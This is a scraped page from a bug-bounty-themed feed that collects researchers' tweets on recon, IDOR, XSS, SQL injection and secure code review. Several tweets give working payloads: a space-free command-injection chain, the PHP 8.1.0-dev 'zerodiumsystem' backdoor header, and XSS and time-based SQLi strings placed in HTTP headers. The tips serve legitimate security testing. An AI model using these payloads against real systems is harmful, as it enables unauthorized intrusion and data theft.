Bug Bounty Tools 🛠

+ 🔬 = ❌
🧠 + 🔬 = 🐛 💵
🧠 + 🔬 + 🛠️ = 🐛🐛💰💰

Cyber Security Tools - Ethical Hacking

[Bug Bounty Tools 🛠 @BugBountyTools]

🚨 Alerte #DataProtection!

La plateforme https://t.co/fPPCu2Cm6y @get_pappers expose trop de nos données personnelles.
Ma signature et mon adresse sont accessibles d'un simple clic sur Google. Pourquoi ces infos sont-elles si facilement disponibles?@cnil @cnil_eu #CNIL #RGPD

[Bug Bounty Tools 🛠 @BugBountyTools]

Open-source Chrome extension:
https://t.co/SlO7TLH7eL

[Bug Bounty Tools 🛠 @BugBountyTools]

Recon often starts with boring indexed stuff:

.php, .aspx, .jsp, PDFs, logs, login panels, admin pages, etc.

FastDork speeds up dorking with reusable lists, bulk searches, pagination, and imports.

#BugBounty #OSINT

[Troy Hunt @troyhunt]

I’m so sick of these dickheads. Meanwhile, I’m trying to report massive data breaches to orgs who aren’t replying because they get so much crap like Sam’s!

[Brut 🇮🇳 @wtf_yodhha]

🔥Best IDOR Checklist

#infosec #cybersec #bugbountytips #BugBounty

[bugcrowd @Bugcrowd]

.@insiderPhD's beginners guide to finding #IDORs 👇 #bugbountytips

[Rohit @whorsehgal]

🧵 Welcome to Day 19 of the Secure Code Review Series!

Today, we’re diving into Insufficient Logging and Monitoring—a silent but critical vulnerability that can make or break your ability to detect and respond to attacks. Let’s learn how to spot weak logging practices and improve them! 📜🔐

[KNOXSS @KN0X55]

#XSS #WAF #Bypass

[Md Ismail Šojal 🕷️ @0x0SojalSec]

Command injection with no spaces and no outbound?

1. base64 a complex command locally
2. {shuf,-e,"$b64",-o,$file}
3. {openssl,base64,-d,-in,$file,-out,$script}
4. {bash,$script}

- https://t.co/qfa1LbrbAB

#infosec #cybersec #bugbountytips

[publiclyDisclosed @disclosedh1]

HackerOne disclosed a bug submitted by @haxta4ok: https://t.co/AKo6ACWfoa - Bounty: $25,000 #hackerone #bugbounty

[𝕏 Bug Bounty Writeups 𝕏 @bountywriteups]

Easy P4: Cloudflare Bypass, Origin IP Found (Part 2)
https://t.co/Ofdw5Y6bbw

#bugbounty #bugbountytips #bugbountytip

[VIEH Group @viehgroup]

If you find PHP 8.1.0-dev then try RCE & SQLi
User-Agentt: zerodiumsleep(5);
User-Agentt: zerodiumsystem('id');

Post by:- @0x0SojalSec
#bugbountytips #infosec #bugbounty #bugbountytip #hacking #hacker #cybersecurity

[VAIDIK PANDYA @h4x0r_fr34k]

Day 4 & 5 : RCE - CVE-2024-9593

Link : https://t.co/yKdwHYMNP2

[Coffin @lostsec_]

Header based injection:

X-Forwarded-Host: https://t.co/PaScum05qA"><img src/onerror=prompt(document.cookie)>

X-Forwarded-Host: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z

X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z

Referer: https://t.co/bkQr0QnYCn(select*from(select(sleep(10)))a)+'

Cookie: 'XOR(if(now()=sysdate(),sleep(10),0))XOR'

User-Agent: "XOR(if(now()=sysdate(),sleep(10),0))XOR"

[Coffin @lostsec_]

Try this powerful XSS bypass. Many WAFs have not blacklisted this event handler, so you can take advantage of it

[7h3h4ckv157 @7h3h4ckv157]

Exactly!

[bugcrowd @Bugcrowd]

Reverse-engineering DLLs requires the right tools to uncover vulns.

4 tools for hacking DLLs 🧵👇

[John Hammond @_JohnHammond]

@aruhamm Actually yes, we saw a case of that same lure earlier this week. :) Cutesy copy-pasta, I am trying to weight if it is worth a video or not 😅

[Coffin @lostsec_]

try this extension to detect all types of SQLi+WAFBypass payloads just copy and try manully or you can use intruder for testing timebased sqli just set to resource pool to 1 conqurent request and check the response delay..

[JS0N Haddix @Jhaddix]

The client-side hackers toolkit:

1⃣ DevTools
2⃣ DOM Logger++
3⃣ DOM Invader or EvalVillian
4⃣ https://t.co/bqLHvj6O4h
5⃣ Humanify
6⃣ JSWZL

lot's to learn!

[Sonar Research @Sonar_Research]

🔥 XSS on any website with missing charset information? 😳

Attackers may leverage the ISO-2022-JP character encoding to inject arbitrary JavaScript code into a website. Read more in our latest blog post:

https://t.co/Ji3V0fK5b6

#appsec #security #vulnerability